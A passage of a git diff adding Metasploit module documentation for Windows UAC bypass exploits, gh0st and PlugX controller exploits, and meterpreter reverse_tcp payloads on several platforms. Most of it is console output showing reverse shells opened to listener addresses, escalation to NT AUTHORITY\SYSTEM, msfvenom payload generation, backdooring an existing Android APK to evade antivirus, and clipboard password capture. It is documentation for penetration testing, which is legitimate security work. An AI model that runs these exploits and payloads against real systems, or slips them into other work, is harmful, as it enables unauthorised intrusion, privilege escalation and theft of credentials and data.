exploit(bypassuac_comhijack) > options + +Module options (exploit/windows/local/bypassuac_comhijack): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 1 yes The session to run this module on. + + +Payload options (windows/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST xxx.xx.255.1 yes The listen address + LPORT 8443 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf exploit(bypassuac_comhijack) > run + +[*] [2017.08.16-12:58:31] UAC is Enabled, checking level... +[+] [2017.08.16-12:58:31] Part of Administrators group! Continuing... +[+] [2017.08.16-12:58:32] UAC is set to Default +[+] [2017.08.16-12:58:32] BypassUAC can bypass this setting, continuing... +[*] [2017.08.16-12:58:33] Targeting Event Viewer via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ... +[*] [2017.08.16-12:58:33] Uploading payload to C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll ... +[*] [2017.08.16-12:58:33] Executing high integrity process ... +[*] [2017.08.16-12:58:34] Sending stage (1188415 bytes) to xxx.xx.255.159 +[*] Meterpreter session 2 opened (xxx.xx.255.1:8443 -> xxx.xx.255.159:51480) at 2017-08-16 12:58:35 +1000 +[*] [2017.08.16-12:58:38] Cleaining up registry ... +[!] [2017.08.16-12:58:39] This exploit may require manual cleanup of 'C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll' on the target +msf exploit(bypassuac_comhijack) > sessions + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159) + 2 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51480 (xxx.xx.255.159) + +msf exploit(bypassuac_comhijack) > sessions -1 +[*] Starting interaction with 2... + +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md new file mode 100644 index 0000000000..95e24cbfba --- /dev/null +++ b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md @@ -0,0 +1,91 @@ +## Intro + + This module will bypass Windows 10 UAC by hijacking a special key in the Registry under + the current user hive, and inserting a custom command that will get invoked when + the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC + flag turned off. + + This module modifies a registry key, but cleans up the key once the payload has + been invoked. + + The module does not require the architecture of the payload to match the OS. If + specifying EXE::Custom your DLL should call ExitProcess() after starting your + payload in a separate process. + +## Usage + + You'll first need to obtain a session on the target system. + Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. + The module use an hardcoded timeout of 5 seconds during which it expects fodhelper.exe to be launched on the target system. + On slower system this may be too short, resulting in no session being created. In this case disable the automatic payload handler (`set DISABLEPAYLOADHANDLER true`) + and manually create a job handler corresponding to the payload. + + +##Scenario + +``` +msf > +[*] Sending stage (1189423 bytes) to 192.168.50.4 +[*] Meterpreter session 11 opened (192.168.50.1:4444 -> 192.168.50.4:1654) at 2017-05-22 19:10:43 +0100 + +msf > sessions -i 11 +[*] Starting interaction with 11... + +meterpreter > shell +Process 9496 created. +Channel 1 created. +Microsoft Windows [Version 10.0.14393] +(c) 2016 Microsoft Corporation. All rights reserved. + +C:\Users\sasha\Desktop>whoami /all | findstr /C:"Mandatory Label" +whoami /all | findstr /C:"Mandatory Label" +Mandatory Label\Medium Mandatory Level Label S-1-16-8192 + +C:\Users\sasha\Desktop>exit +exit +meterpreter > +Background session 11? [y/N] +msf > use exploit/windows/local/bypassuac_fodhelper +msf exploit(bypassuac_fodhelper) > set SESSION 11 +SESSION => 11 +msf exploit(bypassuac_fodhelper) > show targets + +Exploit targets: + + Id Name + -- ---- + 0 Windows x86 + 1 Windows x64 + + +msf exploit(bypassuac_fodhelper) > set target 0 +target => 0 +msf exploit(bypassuac_fodhelper) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(bypassuac_fodhelper) > run + +[*] Started reverse TCP handler on 192.168.50.1:4445 +[*] UAC is Enabled, checking level... +[+] Part of Administrators group! Continuing... +[+] UAC is set to Default +[+] BypassUAC can bypass this setting, continuing... +[*] Configuring payload and stager registry keys ... +[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe +[*] Sending stage (957487 bytes) to 192.168.50.4 +[*] Meterpreter session 12 opened (192.168.50.1:4445 -> 192.168.50.4:1655) at 2017-05-22 19:12:03 +0100 +[*] Cleaining up registry keys ... + +meterpreter > shell +Process 4076 created. +Channel 1 created. +Microsoft Windows [Version 10.0.14393] +(c) 2016 Microsoft Corporation. All rights reserved. + +C:\WINDOWS\system32>whoami /all | findstr /C:"Mandatory Label" +whoami /all | findstr /C:"Mandatory Label" +ERROR: Unable to get user claims information. +Mandatory Label\High Mandatory Level Label S-1-16-12288 + +C:\WINDOWS\system32> + +``` diff --git a/documentation/modules/exploit/windows/local/bypassuac_injection_winsxs.md b/documentation/modules/exploit/windows/local/bypassuac_injection_winsxs.md new file mode 100644 index 0000000000..3f6ba9243f --- /dev/null +++ b/documentation/modules/exploit/windows/local/bypassuac_injection_winsxs.md @@ -0,0 +1,295 @@ + + +## Description + +This module adds a bypass for UAC that relies on DLL hijacking of the dccw.exe process. It has been tested on and +supports both x86 and x64 releases of Windows 8, 8.1, 10_1511, 10_1607, and 10_1703. It does not work with any versions of Windows 7. + +### Vulnerable application setup +Not Applicable; works on stock Windows releases. + +### Running Example: +``` +> use exploit/multi/handler +> set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +> set LHOST +LHOST => +> set LPORT 30009 +LPORT => 30009 +> show options + +Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST yes The listen address + LPORT 30009 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + +> run -z +[*] Started reverse TCP handler on :30009 +[*] Starting the payload handler... +[*] Sending stage (957487 bytes) to +[*] Meterpreter session 1 opened (:30009 -> :50041) at 2017-10-03 12:17:42 -0700 +[*] Session 1 created in the background. +> sessions -C sysinfo +[*] Running 'sysinfo' on meterpreter session 1 () +Computer : WIN10X86-1511 +OS : Windows 10 (Build 10586). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 4 +Meterpreter : x86/windows +> sessions -C ifconfig +[*] Running 'ifconfig' on meterpreter session 1 () + +Interface 1 +============ +Name : Software Loopback Interface 1 +Hardware MAC : 00:00:00:00:00:00 +MTU : 4294967295 +IPv4 Address : 127.0.0.1 +IPv4 Netmask : 255.0.0.0 +IPv6 Address : ::1 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff + + +Interface 2 +============ +Name : Teredo Tunneling Pseudo-Interface +Hardware MAC : 00:00:00:00:00:00 +MTU : 1280 +IPv6 Address : 2001:0:4137:9e76:38b8:1e49:3f57:795f +IPv6 Netmask : ffff:ffff:ffff:ffff:: +IPv6 Address : fe80::38b8:1e49:3f57:795f +IPv6 Netmask : ffff:ffff:ffff:ffff:: + + +Interface 3 +============ +Name : Intel(R) 82574L Gigabit Network Connection +Hardware MAC : 00:0c:29:73:25:67 +MTU : 1500 +IPv4 Address : +IPv4 Netmask : 255.255.255.0 +IPv6 Address : fe80::cc97:6548:c10a:f034 +IPv6 Netmask : ffff:ffff:ffff:ffff:: + + +Interface 6 +============ +Name : Microsoft ISATAP Adapter #2 +Hardware MAC : 00:00:00:00:00:00 +MTU : 1280 +IPv6 Address : fe80::5efe:c0a8:86a0 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff + +> sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 meterpreter x86/windows WIN10X86-1511\msfuser @ WIN10X86-1511 :30009 -> :50041 () + +> use exploit/windows/local/bypassuac_injection_winsxs +> set session 1 +session => 1 +> set target 0 +target => 0 +> set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +> set lhost +lhost => +> set lport 30010 +lport => 30010 +> set verbose true +verbose => true +> show options + +Module options (exploit/windows/local/bypassuac_injection_winsxs): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 1 yes The session to run this module on. + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) +   LHOST       yes       The listen address + LPORT 30010 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows x86 + + +> run -j +[*] Exploit running as background job. +[*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/windows-meterpreter-reverse_tcp-192x168x134x160-30009.rc)> Ruby Code (13 bytes) +[*] Started reverse TCP handler on :30010 +[*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/windows-meterpreter-reverse_tcp-192x168x134x160-30009.rc)> Ruby Code (12 bytes) +[+] Windows 10 (Build 10586). may be vulnerable. +[*] UAC is Enabled, checking level... +[*] Checking admin status... +[+] Part of Administrators group! Continuing... +[+] UAC is set to Default +[+] BypassUAC can bypass this setting, continuing... +[*] Creating temporary folders... +[*] Uploading the Payload DLL to the filesystem... +[*] Payload DLL 18944 bytes long being uploaded... +[*] Spawning process with Windows Publisher Certificate, to inject into... +[*] Injecting into process ID 3476 +[*] Opening process 3476 +[*] Injecting struct into 3476 +[*] Executing payload +[+] Successfully injected payload in to process: 3476 +[*] Sending stage (957487 bytes) to +[*] Meterpreter session 2 opened (:30010 -> :50078) at 2017-10-03 12:19:03 -0700 +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the file specified. +[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the file specified. +[+] All the dropped elements have been successfully removed +> sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 meterpreter x86/windows WIN10X86-1511\msfuser @ WIN10X86-1511 :30009 -> :50041 () + 2 meterpreter x86/windows WIN10X86-1511\msfuser @ WIN10X86-1511 :30010 -> :50078 () + +> sessions -C getuid +[*] Running 'getuid' on meterpreter session 1 () +Server username: WIN10X86-1511\msfuser +[*] Running 'getuid' on meterpreter session 2 () +Server username: WIN10X86-1511\msfuser +> sessions -C getsystem +[*] Running 'getsystem' on meterpreter session 1 () +[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: +[-] Named Pipe Impersonation (In Memory/Admin) +[-] Named Pipe Impersonation (Dropper/Admin) +[-] Token Duplication (In Memory/Admin) +[*] Running 'getsystem' on meterpreter session 2 () +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +> sessions -C getuid +[*] Running 'getuid' on meterpreter session 1 () +Server username: WIN10X86-1511\msfuser +[*] Running 'getuid' on meterpreter session 2 () +Server username: NT AUTHORITY\SYSTEM +> exit -y +``` + +## Compiling Instructions +### Compiling Template DLLs +To build the x86 template dll, use data/templates/src/pe/dll_gdiplus/build.sh +(Requires mingw-w64 package from apt) +``` +cd data/templates/src/pe/dll_gdiplus +./build.sh +cp data/templates/src/pe/dll_gdiplus/template_x86_windows.dll data/templates/template_x86_windows_dccw_gdiplus.dll +``` +To build the x64 binary +(In an x64 VS2013 command prompt) +``` +Z:\metasploit-framework\data\templates\src\pe\dll_gdiplus>cl.exe -LD template.c /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain "kernel32.lib" +cp data/templates/src/pe/dll_gdiplus/template.dll data/templates/template_x64_windows_dccw_gdiplus.dll +``` + +### Compiling bypassuac-x86.dll and bypassuac-x64.dll +Open the Visual studio solution located in +metasploit-framework/external/source/exploits/bypassuac_injection/ +Choose ```release``` from the Solution configurations, build the x86 and x64 solutions. The binaries should already +be in the right place. + +# More information +(From PR) + +I decided to create a different module and not to update the one called "bypassuac_injection", because in order to +perform a DLL hijacking, I need to create several folders in which insert our malicious DLL. Also, I deleted these +files and folders in a different way, instead using the method "register_file_for_cleanup()", so as to be able to +remove the created folders and also prevent a very large output. + +If you want to understand the module in a deeper way I recommend you to visit the C++ project on my github: +https://github.com/L3cr0f/DccwBypassUAC + +## **DLL INJECTION** +**/metasploit-framework/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +/metasploit-framework/data/post/bypassuac-x64.dll +/metasploit-framework/data/post/bypassuac-x86.dll** + +To perform the DLL hijacking we need to copy the file of our interest to a specific location (in our case "C:\Windows\System32\") using IFileOperation. To do so, first we need to inject a DLL that will perform this task. This DLL is almost the same as the one used in the "bypassuac_injection" module, but, in latest Windows 10 systems (build equal or greater than 15003), the IFileOperation must be invoked in a different way so as to not trigger the UAC prompt. This modification will be: + +`if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)` + +to + +`if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)` + +Note that this modification does not affect other modules. +To conclude this section, I didn't found the code of "/metasploit-framework/data/post/bypassuac-[ARCH].exe" to update it. + +## **DLL HIJACKING** +**/metasploit-framework/data/templates/template_x86_windows_dccw_gdiplus.dll +/metasploit-framework/data/templates/template_x64_windows_dccw_gdiplus.dll +/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.c +/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.h +/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.def +/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.rc +/metasploit-framework/data/templates/src/pe/dll_gdiplus/build.sh +/metasploit-framework/lib/msf/core/exploit/exe.rb +/metasploit-framework/lib/msf/util/exe.rb** + +To execute code at high integrity we need to perform a DLL hijacking, but we cannot use the DLL templates provided by +Metasploit since we need to forward some functions to the legit DLL, so we need to create a new couple of DLL templates, +which are exactly the same but including the forwarding feature (the way I have implemented does not work on Windows 7). +Now, despite working in a successfully way, I think it would be great including this forwarding feature on the fly, I mean, +without having to create an additional DLL template. I don't know how this can be done, so if you come up with something, +let me know. + +Also, to load the previous DLL template we have modified the mentioned "exe.rb" files. + +## **Setup the vulnerable environment** + +The vulnerable environment setup is the same as the module "bypassuac_injection", we need a meterpreter session, select +the architecture (0 for x86 and 1 for x64), select the meterpreter payload based on the architecture we want to execute +with high integrity and set the regular parameters of the payload (LHOST, LPORT, etc). diff --git a/documentation/modules/exploit/windows/misc/gh0st.md b/documentation/modules/exploit/windows/misc/gh0st.md new file mode 100644 index 0000000000..5ae7c251e4 --- /dev/null +++ b/documentation/modules/exploit/windows/misc/gh0st.md @@ -0,0 +1,42 @@ +## Vulnerable Application + + This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim. + This vulnerability can allow remote code execution in the context of the user who ran it. + + A vulnerable version of the software is available here: [gh0st 3.6](https://github.com/rapid7/metasploit-framework/files/1243297/0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c.zip) + +## Verification Steps + + 1. Run the application + 2. Start msfconsole + 3. Do: `use exploit/windows/misc/gh0st` + 4. Do: `set rhost [ip]` + 5. Do: `exploit` + 6. Get a shell + +## Options + + **MAGIC** + + This is the 5 character magic used by the server. The default is `Gh0st` + +## Scenarios + +### Windows XP SP3 with gh0st 3.6 + +``` +msf > use exploit/windows/misc/gh0st +msf exploit(gh0st) > set rhost 192.168.2.108 +rhost => 192.168.2.108 +msf exploit(gh0st) > exploit + +[*] Started reverse TCP handler on 1.2.3.4:4444 +[*] 1.2.3.1:80 - Trying target Gh0st Beta 3.6 +[*] 1.2.3.1.108:80 - Spraying heap... +[*] 1.2.3.1:80 - Trying command 103... +[*] Sending stage (956991 bytes) to 1.2.3.1 +[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 1.2.3.1:1303) at 2017-08-26 16:53:58 -0400 +[*] 1.2.3.1:80 - Server closed connection + +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/misc/plugx.md b/documentation/modules/exploit/windows/misc/plugx.md new file mode 100644 index 0000000000..63640995f3 --- /dev/null +++ b/documentation/modules/exploit/windows/misc/plugx.md @@ -0,0 +1,42 @@ +## Vulnerable Application + + This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. + This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained. + + A vulnerable version of the software is available here: [PlugX type 1](https://github.com/rapid7/metasploit-framework/files/1243293/9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6.zip) + +## Verification + + 1. Run the application + 2. Start msfconsole + 3. Do: `use exploit/windows/misc/plugx` + 4. Do: `set rhost [ip]` + 5. Do: `set target [target]` + 6. Do: `exploit` + 7. Click OK for the "PeDecodePacket" pop-up on the target + 8. Get a shell + +## Scenarios + +### Windows XP SP3 with PlugX type 1 + +``` +msf > use exploit/windows/misc/plugx +msf exploit(plugx) > set rhost 1.2.3.4 +rhost => 1.2.3.4 +msf exploit(plugx) > set target 1 +target => 1 +msf exploit(plugx) > set verbose true +verbose => true +msf exploit(plugx) > exploit + +[*] Started reverse TCP handler on 1.2.3.99:4444 +[*] 1.2.3.4:13579 - Trying target PlugX Type I... +[*] 1.2.3.4:13579 - waiting for response +[*] Sending stage (956991 bytes) to 1.2.3.4 +[*] Meterpreter session 1 opened (1.2.3.99:4444 -> 1.2.3.4:1975) at 2017-09-04 19:53:07 -0400 +[*] 1.2.3.4:13579 - Server closed connection + +meterpreter > getuid +Server username: WINXP\user +``` diff --git a/documentation/modules/module_doc_template.md b/documentation/modules/module_doc_template.md index a009033856..6dfc897dde 100644 --- a/documentation/modules/module_doc_template.md +++ b/documentation/modules/module_doc_template.md @@ -27,6 +27,8 @@ functioning in 5+ years, so giving links or specific examples can be VERY helpfu ## Scenarios +### Version of software and OS as applicable + Specific demo of using the module that might be useful in a real world scenario. ``` diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md index cde18f507f..849d892714 100644 --- a/documentation/modules/payload/android/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md @@ -47,6 +47,16 @@ To create the APK with msfvenom: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk ``` +You can also add Android meterpreter to any existing APK. This will make it harder for +Anti-virus software to detect the payload, and allow you read internal files and take +screenshots of the Android app you are backdooring: + + +``` +./msfvenom -p android/meterpreter/reverse_tcp -x com.existing.apk LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk +``` + + Next, start an Android device. Upload the APK, and execute it. There are different ways to do this, so please refer to the Scenarios section for more information. diff --git a/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md index b5ced8524f..ae8dccc1fc 100644 --- a/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md @@ -61,7 +61,7 @@ To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generat ./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin ``` -Before sending the exectauble to the victim machine, you need to set up the handler on your end: +Before sending the executable to the victim machine, you need to set up the handler on your end: 1. Start msfconsole 2. Do: ```use exploit/multi/handler``` @@ -69,7 +69,7 @@ Before sending the exectauble to the victim machine, you need to set up the hand 4. Do: ```set LHOST [Your IP]``` 5. Do: ```run``` -And that should start the listener. When the victim runs the malicious exectauble, you should +And that should start the listener. When the victim runs the malicious executable, you should receive a session: ``` @@ -143,7 +143,7 @@ interfaces on the remote machine. **getuid** -The getuid command tells you the current user that Meterpreter is running on. For example: +The ```getuid``` command tells you the current user that Meterpreter is running on. For example: ``` meterpreter > getuid @@ -166,7 +166,7 @@ The ```ps``` command lists the running processes on the remote machine. **shell** -The shell command allows you to interact with the remote machine's terminal (or shell). For +The ```shell``` command allows you to interact with the remote machine's terminal (or shell). For example: ``` @@ -180,7 +180,7 @@ If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel. **sysinfo** -The sysinfo command shows you basic information about the remote machine. Such as: +The ```sysinfo``` command shows you basic information about the remote machine. Such as: * Computer name * OS name diff --git a/documentation/modules/payload/osx/x64/meterpreter/reverse_tcp.md b/documentation/modules/payload/osx/x64/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..45d18c8a00 --- /dev/null +++ b/documentation/modules/payload/osx/x64/meterpreter/reverse_tcp.md @@ -0,0 +1,183 @@ +osx/x64/meterpreter_reverse_tcp is similar to the linux meterpreter, but built for OSX. +It allows you to remotely take over the compromised system, having control of the file system, +webcam, microphone, screenshot and collect sensitive information such as credentials +using post modules, etc. + +## Vulnerable Application + +osx/x64/meterpreter_reverse_tcp 64-bit MacOSX platforms from 10.8 onwards. + +## Deploying osx/x64/meterpreter_reverse_tcp + +To use osx/x64/meterpreter_reverse_tcp as an executable, first you can generate it with msfvenom: + +``` +./msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=[IP] LPORT=4444 -f macho -o /tmp/payload.bin +``` + +Before sending the executable to the victim machine, you need to set up the handler on your end: + +1. Start msfconsole +2. Do: ```use exploit/multi/handler``` +3. Do: ```set PAYLOAD osx/x64/meterpreter_reverse_tcp``` +4. Do: ```set LHOST [Your IP]``` +5. Do: ```run``` + +And that should start the listener. When the victim runs the malicious executable, you should +receive a session: + +``` +msf exploit(handler) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 172.16.23.1:4444 +msf exploit(handler) > [*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2017-08-08 12:34:49 +0800 + +msf exploit(handler) > sessions 1 +[*] Starting interaction with 1... + +meterpreter > +``` + + +## Important Basic Commands + +Here is a list of some of the common commands you might need while using Meterpreter: + +**pwd** + +The ```pwd``` command tells you the current working directory. For example: + +``` +meterpreter > pwd +/Users/User/Desktop +``` + +**cd** + +The ```cd``` command allows you to change directories. Example: + +``` +meterpreter > cd /tmp +``` + +**cat** + +The ```cat``` command allows you to see the content of a file: + +``` +meterpreter > cat /tmp/data.txt +hello world +``` + +**upload** + +The ```upload``` command allows you to upload a file to the remote target. For example: + +``` +meterpreter > upload /tmp/data.bin /Users/User/Desktop +[*] uploading : /tmp/data.bin -> /Users/User/Desktop +[*] uploaded : /tmp/data.bin -> /Users/User/Desktop/data.bin +meterpreter > +``` + +**download** + +The ```download``` command allows you to download a file from the remote target to your machine. For example: + +``` +meterpreter > download /Users/User/Desktop/data.bin /tmp +[*] downloading: /Users/User/Desktop/data.bin -> /tmp/data.bin +[*] download : /Users/User/Desktop/data.bin -> /tmp/data.bin +``` + +**ifconfig/ipconfig** + +```ifconfig``` and ```ipconfig``` are actually the same thing. They allow you to see the network +interfaces on the remote machine. + +**getuid** + +The ```getuid``` command tells you the current user that Meterpreter is running on. For example: + +``` +meterpreter > getuid +Server username: uid=502, gid=20, euid=502, egid=20 +``` + +**execute** + +The ```execute``` command allows you to execute a command or file on the remote machine. +For example: + +``` +meterpreter > execute -f echo -a "hello > /tmp/hello.txt" +Process 5292 created. +``` + +**ps** + +The ```ps``` command lists the running processes on the remote machine. + +**shell** + +The ```shell``` command allows you to interact with the remote machine's terminal (or shell). For +example: + +``` +meterpreter > shell +Process 29335 created. +Channel 2 created. +cat /tmp/hello.txt +hello +exit +meterpreter > +``` + +If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel or +[CTRL]+[Z] then y (or the exit command) to terminate the channel. + +**sysinfo** + +The ```sysinfo``` command shows you basic information about the remote machine. Such as: + +* Computer name +* OS name +* Architecture +* Meterpreter type + +For example: + +``` +meterpreter > sysinfo +Computer : My-Computer.local +OS : Mac OS X Sierra (MacOSX 10.12.6) +Architecture : x86 +Meterpreter : x64/osx +meterpreter > +``` + +**Extensions** + +OSX Meterpreter supports reading and writing to the clipboard with the extapi extension, +you can load it with the ```load``` command: + +``` +meterpreter > load extapi +Loading extension extapi...Success. +meterpreter > clipboard_get_data +Text captured at +================= +pa$$w0rd +================= +``` + +**Other commands** + +For a complete list of OSX Meterpreter commands, do the following at the prompt: + +``` +meterpreter > help +``` + + diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md index eb66ad51de..1780ce84ce 100644 --- a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md @@ -90,7 +90,7 @@ For example: meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/ [*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt [*] download : C:\Users\user\Desktop\something.txt -> /tmp//something.txt -meterpreter > +meterpreter > ``` The ```-r``` option for the command also allows you to download recursively. @@ -154,7 +154,7 @@ Process 2076 created. To pass an argument, use the ```-a``` flag: ``` -meterpreter > execute -f iexplore.exe -a http://metasploit.com +meterpreter > execute -f iexplore.exe -a https://metasploit.com Process 2016 created. ``` @@ -194,7 +194,7 @@ System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/win32 -meterpreter > +meterpreter > ``` **keyscan_start** @@ -283,7 +283,7 @@ repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasp First, run the resource script: ``` -$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc +$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc [*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives. [*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes) lhost => 192.168.1.199 @@ -297,9 +297,9 @@ lport => 4444 exitonsession => false [*] Exploit running as background job. -[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] Started reverse TCP handler on 192.168.1.199:4444 [*] Starting the payload handler... -msf exploit(handler) > +msf exploit(handler) > ``` Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there. @@ -315,7 +315,7 @@ from popular applications and enumerate or modify system settings. To use a post module from the Meterpreter prompt, simply use the ```run``` command: ``` -meterpreter > run post/windows/gather/checkvm +meterpreter > run post/windows/gather/checkvm [*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine ..... [*] This is a VMware Virtual Machine @@ -336,7 +336,7 @@ To begin, load the extension: ``` meterpreter > load mimikatz Loading extension mimikatz...success. -meterpreter > +meterpreter > ``` This will create more commands for the Meterpreter prompt. Most of them are meant to be used to @@ -387,7 +387,7 @@ To begin, at the Meterpreter prompt, do: ``` meterpreter > load extapi Loading extension extapi...success. -meterpreter > +meterpreter > ``` One great feature of the extension is clipboard management. The Windows clipboard is interesting @@ -412,7 +412,7 @@ Text captured at 2016-03-05 19:13:39.0170 hello, world!! ========================================= -meterpreter > +meterpreter > ``` The limitation of this command is that since you're only grabbing whatever is in the clipboard at @@ -422,7 +422,7 @@ whatever goes in there. To start, issue the following command: ``` meterpreter > clipboard_monitor_start [+] Clipboard monitor started -meterpreter > +meterpreter > ``` While it is monitoring, you can ask Meterpreter to dump whatever's been captured. @@ -444,7 +444,7 @@ download : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png ========================================== [+] Clipboard monitor dumped -meterpreter > +meterpreter > ``` The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit. @@ -471,7 +471,7 @@ 